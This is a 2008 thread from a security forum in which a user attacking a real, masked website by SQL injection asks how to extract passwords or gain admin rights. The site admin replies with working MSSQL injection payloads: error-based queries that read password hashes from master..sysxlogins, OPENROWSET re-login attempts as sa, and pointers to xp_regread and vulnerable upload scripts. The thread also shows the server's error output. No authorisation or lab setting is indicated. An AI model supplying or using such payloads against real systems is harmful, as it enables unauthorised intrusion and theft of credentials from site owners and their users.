Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 57
Members: 0
Total: 57
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Need help with SQL injection !
Post new topicReply to topic View previous topic :: View next topic
Need help with SQL injection !
PostPosted: Sat Dec 06, 2008 10:17 pm Reply with quote
xterminal01
Regular user
Regular user
Joined: Dec 07, 2008
Posts: 5




I've been doing SQL injection on a website but am stuck with what to do..
by doing this...
www.XXX.com/Top-Story.asp?ID=convert(int, @@version)
I get

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

/Top-Story.asp, line 20
So i know that the site is vulnerable.
What can i do to extract the passwords or become the admin group or anything else for that matter?
View user's profile Send private message
PostPosted: Sat Dec 06, 2008 10:25 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




you need to read up some more on sql injections.

Go on google look for a tutorial called "Sql injection attack end3r"
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat Dec 06, 2008 10:39 pm Reply with quote
xterminal01
Regular user
Regular user
Joined: Dec 07, 2008
Posts: 5




I read the darkmindz sql injection article, but it gives me errors & I am stuck?



capt wrote:
you need to read up some more on sql injections.

Go on google look for a tutorial called "Sql injection attack end3r"
View user's profile Send private message
PostPosted: Sun Dec 07, 2008 12:20 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:

Code:

Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))


Depending on error message it will be known either you have enough privileges or not.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Dec 07, 2008 5:11 am Reply with quote
xterminal01
Regular user
Regular user
Joined: Dec 07, 2008
Posts: 5




One is
Microsoft OLE DB Provider for ODBC Drivers error '80040e09'

[Microsoft][ODBC SQL Server Driver][SQL Server]SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'.

The other is

Microsoft JET Database Engine error '80004005'

Could not find file 'c:\windows\system32\inetsrv\master'.

I was able to get the master columns sysusers & master_key_passwords
However, i couldn't download the data...
I suppose that means i don't have the rights to download but just browse.
Are my only options to bruteforce the dbo or sa account?


waraxe wrote:
In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:

Code:

Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))


Depending on error message it will be known either you have enough privileges or not.
View user's profile Send private message
PostPosted: Sun Dec 07, 2008 2:25 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:

Code:


Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))

Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))



This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Dec 07, 2008 11:24 pm Reply with quote
xterminal01
Regular user
Regular user
Joined: Dec 07, 2008
Posts: 5




1st
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Ad hoc access to OLE DB provider 'MSDASQL' has been denied. You must access this provider through a linked server.

2nd

Microsoft OLE DB Provider for SQL Server error '80040e14'

SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.

With tools like priamos i am able to browse through their whole database, get tables and columns just the data is rejected.





waraxe wrote:
Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:

Code:


Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))

Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))



This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures.
Rolling Eyes
View user's profile Send private message
PostPosted: Sun Dec 07, 2008 11:42 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Then i don't see easy way to interact with operating system. Unless you find administration backend or other attack vecors, like vulnerable upload scripts, etc.
View user's profile Send private message Send e-mail Visit poster's website
Need help with SQL injection !
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.076 Seconds